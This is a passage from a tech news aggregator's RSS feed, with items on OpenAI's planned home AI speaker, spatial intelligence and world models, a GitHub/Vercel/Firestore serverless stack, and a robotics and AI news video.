<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What problems would an AI speaker from OpenAI actually solve?]]></title>
<description><![CDATA[OpenAI’s first device will be a screenless home AI system that can play music, control appliances, and respond to messages and questions, according to Bloomberg. I can’t help but ask what makes this device different from Apple’s HomePod with SiriAI?



The OpenAI product is intended to be the fir...]]></description>
<link>https://tsecurity.de/de/3671257/it-nachrichten/what-problems-would-an-ai-speaker-from-openai-actually-solve/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671257/it-nachrichten/what-problems-would-an-ai-speaker-from-openai-actually-solve/</guid>
<pubDate>Wed, 15 Jul 2026 18:03:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI’s first device will be a screenless home AI system that can play music, control appliances, and respond to messages and questions, <a href="https://finance.yahoo.com/news/openais-first-device-will-be-movable-screenless-speaker-built-as-ai-companion-205215714.html" target="_blank" rel="noreferrer noopener">according to Bloomberg</a>. I can’t help but ask what makes this device different from Apple’s HomePod with SiriAI?</p>



<p class="wp-block-paragraph">The OpenAI product is intended to be the first of a family of solutions and is expected to use the recently-introduced GPT-Live large language model (LLM). The latter is an advanced model capable of processing information swiftly and of providing natural responses to conversations. </p>



<h2 class="wp-block-heading"><strong>A potential gold mine for hackers</strong></h2>



<p class="wp-block-paragraph">This expertise might help it deliver more accurate responses to requests, though the information could also become a gold mine for data brokers, hackers, and advertisers if there turns out to be any way they can get their hands on it. It’s not yet known how — or even if — OpenAI proposes protecting user privacy within its systems. </p>



<p class="wp-block-paragraph">The device, which is still under development, is explained as being a home companion that also includes a built-in camera and sensors so it can gather contextual information about where you are, becoming an expert on you and your needs. It also features autonomous mechanical elements that physically shift on their own, intended to give the product a “personality,” rather than being a boring black box.</p>



<h2 class="wp-block-heading"><strong>Can we live without this?</strong></h2>



<p class="wp-block-paragraph">While OpenAI’s development is not yet complete and things could change before it reaches market, based on Bloomberg’s report I’m not terribly clear how unique it is going to be. After all, as LLM support is introduced in existing smart speaker systems from Apple, or even Amazon, what unique features does this device bring that consumers can’t live without? More particularly, what problems does it solve and why does it exist?</p>



<h2 class="wp-block-heading"><strong>Manufacturing economics</strong></h2>



<p class="wp-block-paragraph">What’s also unclear is how far along OpenAI is on the road to mass manufacturing the device. Apple’s <a href="https://www.computerworld.com/article/4195828/rotten-to-its-core-apple-files-an-explosive-lawsuit-against-openai.html">recent lawsuit against OpenAI</a> confirmed the challenger is speaking with Apple’s own manufacturing partners as well as <a href="https://www.applemust.com/apple-reels-as-openai-recruits-hardware-staff-and-manufacturing-partners/" target="_blank" rel="noreferrer noopener">hiring hundreds of Apple engineers</a>. Despite the talent war, I consider it unlikely OpenAI will be able to lock in the kinds of manufacturing deals it needs to <a href="https://www.applemust.com/openai-discovers-it-takes-time-not-just-design-to-build-great-hardware/" target="_blank" rel="noreferrer noopener">bring the product to market at an acceptable price</a>. </p>



<p class="wp-block-paragraph">That suggests either that its inaugural “home companion” will seem incredibly expensive (as so many of the products Jony Ive has designed since leaving Apple seem to be), or that OpenAI will sell these things at a subsidy. </p>



<p class="wp-block-paragraph">Bloomberg suggests the systems will cost $200 to $300. That seems low given the current component market, expected design quality and the technology used if the plan is to make something good. And it leaves me wondering how deeply investors will underwrite hardware sales, given the <a href="https://www.computerworld.com/article/4187825/the-trillion-dollar-ai-hallucination.html">eye-watering losses the company is already making</a>. </p>



<h2 class="wp-block-heading"><strong>Apple’s trade secrets case</strong></h2>



<p class="wp-block-paragraph">Given ongoing speculation that Apple <a href="https://www.ynetnews.com/tech-and-digital/article/rjtr6344gg" target="_blank" rel="noreferrer noopener">plans something similar</a> in the form of a hybrid HomePod/iPad <a href="https://www.computerworld.com/article/3611226/apple-plans-for-a-smarter-llm-based-siri-smart-assistant.html" target="_blank">equipped with AI</a> and limited mobility, the <a href="https://www.computerworld.com/article/4195828/rotten-to-its-core-apple-files-an-explosive-lawsuit-against-openai.html">recent lawsuit</a> strongly suggests Apple feels some of OpenAI’s plans cross the line into using proprietary technologies and ideas Cupertino has spent years pursuing. Apple’s lawsuit seems to bring much more meaningful evidence than just an argument concerning product design. </p>



<h2 class="wp-block-heading"><strong>Betting the farm on Ive</strong></h2>



<p class="wp-block-paragraph">We also don’t know the extent to which consumers will be open to semi-sentient AI devices lurking in their lives. While Apple can lean into its loyal customer base and broaden its offering with rock-solid promises concerning user privacy, OpenAI has less to bring to the launch party.</p>



<p class="wp-block-paragraph">That means it is attempting to pivot millions who use its services into investing in its hardware. It presumably hopes that it will be able to drive that transition by using the design involvement of <a href="https://www.computerworld.com/article/3992592/jony-ive-and-openai-plan-bicycles-for-21st-century-minds.html">acclaimed Apple designer Jony Ive</a> as a form of magic talisman. </p>



<p class="wp-block-paragraph">The challenge is that while Ive is a big name in Apple history, Apple users are extremely loyal and may react against the involvement of their favorite designer. It’s like finding out someone you thought was on your team actually supported someone else. </p>



<p class="wp-block-paragraph">It will be different outside Apple, where less loyal cohorts might see the product introduction as a chance to put a design from Ive through its paces without signing up to a Mac, iPhone, iPad, or HomePod. </p>



<p class="wp-block-paragraph">For the rest of us, the question will be whether OpenAI’s <a href="https://www.applemust.com/jony-ive-says-openais-first-mysterious-consumer-gadget-will-ship-within-two-years/" target="_blank" rel="noreferrer noopener">Ive-designed product</a> channels the successful design ethic of the iMac, or that of the far less successful hockey puck mouse. Like (timely World Cup klaxon) France against Spain, OpenAI’s investors have to hope the best version of Ive’s design principles show up, because their risked fortunes potentially depend on it. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The rise of spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ship faster with GitHub, Vercel, and Firestore]]></title>
<description><![CDATA[These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really c...]]></description>
<link>https://tsecurity.de/de/3671151/ai-nachrichten/ship-faster-with-github-vercel-and-firestore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671151/ai-nachrichten/ship-faster-with-github-vercel-and-firestore/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:19 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really come of age. Here we’ll take a look at putting together three of the most impressive: GitHub, Vercel, and Firestore.</p>



<p class="wp-block-paragraph">Each of these is an important tool in its own right that can be used to attack specific problems. In combination, they not only meet the needs of several important application scenarios, but they have a superpower—the ability to dramatically shorten the distance between development and deployment.</p>



<p class="wp-block-paragraph">There is nothing quite as gratifying as putting your hands on just the right mix of tools for a given need.</p>



<h2 class="wp-block-heading">A ‘no-ops’ stack built for speed</h2>



<p class="wp-block-paragraph">If your primary goal is sheer development velocity, you would be hard-pressed to top this architecture. This “no-ops” stack collapses the distance between your local IDE and a globally distributed production environment. You are essentially trading the overhead of managing VMs and load balancers for the sheer speed of committing code and watching it deploy automatically.</p>



<p class="wp-block-paragraph">While each component is highly flexible, adopting them requires a specific, event-driven mindset. There are a few finicky bits to manage, mostly around routing environment variables securely and designing around stateless back-end functions. But the constraints are obvious and well-documented.</p>



<p class="wp-block-paragraph">Before we look more closely, let’s quickly identify the kinds of apps that are a perfect fit here, along with those that are workable and those that really merit a different approach.</p>



<ul class="wp-block-list">
<li>The sweet spot (deploy and go): AI-mediated applications, asynchronous game back ends, and real-time collaborative B2B dashboards. This architecture perfectly absorbs the unpredictable latency of LLM APIs and instantly syncs state across multiple clients without requiring you to build custom WebSocket infrastructure.</li>



<li>The middle ground (workable, with trade-offs): Headless e-commerce, moderate IoT telemetry, and apps requiring scheduled batch processing. You will encounter friction if your catalog relies on deeply relational SQL constraints, or if your background reporting jobs take longer than a few minutes and hit serverless execution limits.</li>



<li>The danger zone (look elsewhere): High-frequency trading, fast-paced action multiplayer games, heavy data ETL pipelines, and core financial ledgers. Serverless architectures cannot natively hold open the persistent WebSockets required for twitch-reflex data, and heavy compute tasks will abruptly time out.</li>
</ul>



<p class="wp-block-paragraph">We should mention that these categories are not mutually exclusive. Many enterprise applications, such as a full-scale e-commerce platform, straddle these lines. You might use Vercel and Firestore to build a lightning-fast, reactive storefront that handles ephemeral user state like shopping carts, while simultaneously “stitching in” a managed SQL database like Supabase or PlanetScale. This hybrid approach allows you to maintain the relational integrity required for back-office inventory and financial ledgers and pair it with the front-end velocity this stack provides.</p>



<h2 class="wp-block-heading">GitHub: the bedrock</h2>



<p class="wp-block-paragraph">I don’t need to introduce you to <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a>. It is a central element of the development landscape. I still remember CVS and SVN with a certain nostalgia, but the enhancements of <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git</a> speak for themselves. When combined with the orchestration powers of GitHub, it is no wonder that virtually the whole industry has adopted this type of platform.</p>



<p class="wp-block-paragraph">Git plus GitHub gives you an enormous amount of power already, in terms of how you can organize and automate your projects. But there is a next-level experience in combining GitHub and Vercel. For <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html" data-type="link" data-id="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a>-based projects, you can take simple GitHub pushes and turn them into instantly deployed clients and serverless functions. It is one of the cleanest and least fiddly ways to move from raw code on your local machine to a globally deployed, full-stack architecture.</p>



<h2 class="wp-block-heading">Vercel: the nexus</h2>



<p class="wp-block-paragraph">Vercel is more than just a deployment host. It is a control plane that ties this high-velocity, no-ops architecture together. Alongside GitHub and Firestore, Vercel’s deeper strength is its ability to act as an orchestration layer between your reactive front end and external stateful services.</p>



<p class="wp-block-paragraph">Vercel has a great amount of facility in fine-tuning what branches go to what environment and helpful features like instant rollback. You can just log into Vercel’s dashboard for your project and see the history of deployments and any errors and logs. It’s a simple menu choice to roll back to a historical version or compare one version against another.</p>



<p class="wp-block-paragraph">When you “stitch in” third-party services (such as a managed SQL database like <a href="https://www.infoworld.com/article/4168581/developing-local-first-apps-with-react-supabase-and-powersync.html" data-type="link" data-id="https://www.infoworld.com/article/4168581/developing-local-first-apps-with-react-supabase-and-powersync.html">Supabase</a> or a payment processor like Stripe), Vercel’s serverless functions become the lightweight interface, and Vercel’s the adapters handle the communication. You offload the integration logic (the service layer) to Vercel’s global Edge Network, keeping your UI and back end clean, responsive, and decoupled. </p>



<p class="wp-block-paragraph">In short, Vercel allows you to get the speed of the “no-ops” development life cycle without sacrificing the complex transactional integrity required for some applications like enterprise inventory systems. </p>



<h2 class="wp-block-heading">Firestore: the datastore</h2>



<p class="wp-block-paragraph">Firestore is an extremely lightweight, NoSQL, cloud datastore. It has a great deal of add-on power, but its core value proposition is that it accepts virtually any data you stuff into it and it provides event-driven subscriptions to data changes.</p>



<p class="wp-block-paragraph">These two capabilities together make Firestore about as straightforward a solution to a managed back end as you can imagine. You subscribe to collections or even fields and then you simply stick “unstructured” data (read: JSON with variable fields) in and the client waits for the changes it is interested in.</p>



<p class="wp-block-paragraph">This is so streamlined that one can just point the browser (or native mobile app) directly at Firestore and listen for events. Which immediately raises the question of identity, for auth and for data visibility, but hold on—Firestore’s third superpower is that it has an authentication module <em>that actually works. </em>What I mean is, it is actually pretty simple and yet confidently secures your app.</p>



<p class="wp-block-paragraph">Sometimes auth solutions seem either too simple (and yet opaque) or too mired in the nitty gritty. <a href="https://docs.cloud.google.com/firestore/native/docs/authentication" data-type="link" data-id="https://docs.cloud.google.com/firestore/native/docs/authentication">Firestore auth</a> will let you do some basic configuration and start using a reasonable auth almost immediately. </p>



<p class="wp-block-paragraph">Not to belabor the point, but having a realistic and attainable auth solution elevates your stack to a production grade—one that can handle many real-world applications. Firestore auth plays nicely with other important APIs, like Stripe. Typically, auth is a major feature that feels like off-roading in a Honda Civic, but Firestore’s approach to auth, <em>added to this particular stack</em>, feels like a normal speed bump. It’s just another component you plug in, rather than a tentacled alien you weave into the your code.</p>



<h2 class="wp-block-heading">The limits of the velocity stack</h2>



<p class="wp-block-paragraph">This architecture combines components that are optimized for flexibility. That same character also introduces distinct limitations. Understanding these is essential before committing production workloads.</p>



<h3 class="wp-block-heading">The serverless life cycle</h3>



<p class="wp-block-paragraph">Serverless functions are spun up to handle requests. They close out soon afterward and lose any state. For that reason, they cannot natively hold open persistent WebSockets. If your system requires continuous, sub-millisecond, bidirectional streams—like a real-time multiplayer action game or a high-frequency trading dashboard—pure serverless will fight you all the way. You are forced to introduce a third-party managed WebSocket service to route messages back to your stateless endpoints via HTTP webhooks.</p>



<h3 class="wp-block-heading">The execution time ceiling</h3>



<p class="wp-block-paragraph">Vercel (like all serverless platforms) enforces strict timeouts on operations. While enterprise tiers might grant you up to 15 minutes, standard functions often time out after 10 to 60 seconds. Long-running tasks like video transcoding, database scripts, or orchestrating multi-step AI agent workflows, which might take 20 minutes to resolve, will run up against these limits. Heavy-lifting tasks must be offloaded to a dedicated, long-running service like Google Cloud Run, or broken into smaller, asynchronous chunks via message queues.</p>



<h3 class="wp-block-heading">The cold start reality</h3>



<p class="wp-block-paragraph">While the industry has made massive strides in minimizing initialization times—particularly with lightweight edge networks—traditional Node.js-based serverless functions still experience cold starts. If a function has not been invoked recently, or if traffic spikes require a new instance to spin up concurrently, the first request will take a noticeable latency hit as the container provisions and the code loads.</p>



<h3 class="wp-block-heading">API instead of RAM</h3>



<p class="wp-block-paragraph">In a traditional server environment, you can store transient data in global RAM, allowing subsequent requests to access shared context instantly. In the serverless model, every request might hit a fresh container. Therefore, <em>all</em> shared context must be externalized. Although Firestore serves brilliantly as the state manager, relying on a database for high-frequency, sub-millisecond, ephemeral caching introduces network latency and per-operation costs. That said, using a shared RAM state on a server is non-trivial also, unless you are using a single app server and VM (because high-availability or fail-over requirements will lessen the RAM win on a traditional server).</p>



<h2 class="wp-block-heading">Tuning for velocity and control</h2>



<p class="wp-block-paragraph">Every architectural decision is a trade-off. There are no cost-free choices. By adopting the GitHub, Vercel, and Firestore stack, you are explicitly maximizing feature velocity over fine-grained control.</p>



<p class="wp-block-paragraph">You lose the ability to tweak the underlying operating system, hold open persistent sockets, or run hour-long back-end scripts. In exchange, you gain an architecture that scales from zero to global distribution instantly, requires virtually no devops maintenance, and perfectly absorbs the asynchronous, event-driven realities of modern application development.</p>



<p class="wp-block-paragraph">For the right application—whether it is a fast-moving prototype or an enterprise AI copilot—this stack doesn’t just save time; it fundamentally changes how quickly a small team (or a single person) can impact the market. You stop worrying about build chains, load balancers, and server patches, and you focus on the central mission: shipping features.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mitsubishi Reveals New AI Humanoid Robot "N" Coming 2027]]></title>
<description><![CDATA[Author: AI News - Bewertung: 4x - Views:39 Mitsubishi reveals a new AI humanoid robot, "N," powered by Highlanders' Kepler v1.0 — a dual-brain AI model designed to plan and react in real time at once. We break down its architecture, the data flywheel behind it, and Highlanders' new manufacturing ...]]></description>
<link>https://tsecurity.de/de/3667576/it-security-video/mitsubishi-reveals-new-ai-humanoid-robot-n-coming-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667576/it-security-video/mitsubishi-reveals-new-ai-humanoid-robot-n-coming-2027/</guid>
<pubDate>Tue, 14 Jul 2026 12:21:23 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: AI News - Bewertung: 4x - Views:39 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/3GYOFWmnBCs?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Mitsubishi reveals a new AI humanoid robot, "N," powered by Highlanders' Kepler v1.0 — a dual-brain AI model designed to plan and react in real time at once. We break down its architecture, the data flywheel behind it, and Highlanders' new manufacturing deal with Mitsubishi, targeting 1,000 units a month by 2027 to help address Japan's shrinking workforce.<br />
Then, Boston Dynamics' Atlas shows off perfectly synchronized robot choreography, and Tsubame Industries' piloted mecha robot, Archax, brings sci-fi to life as a real, working machine.<br />
Plus, two major AI software stories: Anthropic gives Claude a built-in browser that can read, click, and type on the web, and Meta launches Muse Spark 1.1 with a new developer API, undercutting OpenAI's GPT-5.6 and Anthropic's Claude Fable 5 on price.<br />
<br />
Subscribe for daily AI news.<br />
<br />
Discover the AI agent economy: https://8004agents.ai<br />
<br />
AI news:<br />
0:00 N<br />
2:20 Boston Dynamics<br />
2:51 Archax 01<br />
4:05 Claude Code<br />
5:15 Muse Spark 1.1<br />
<br />
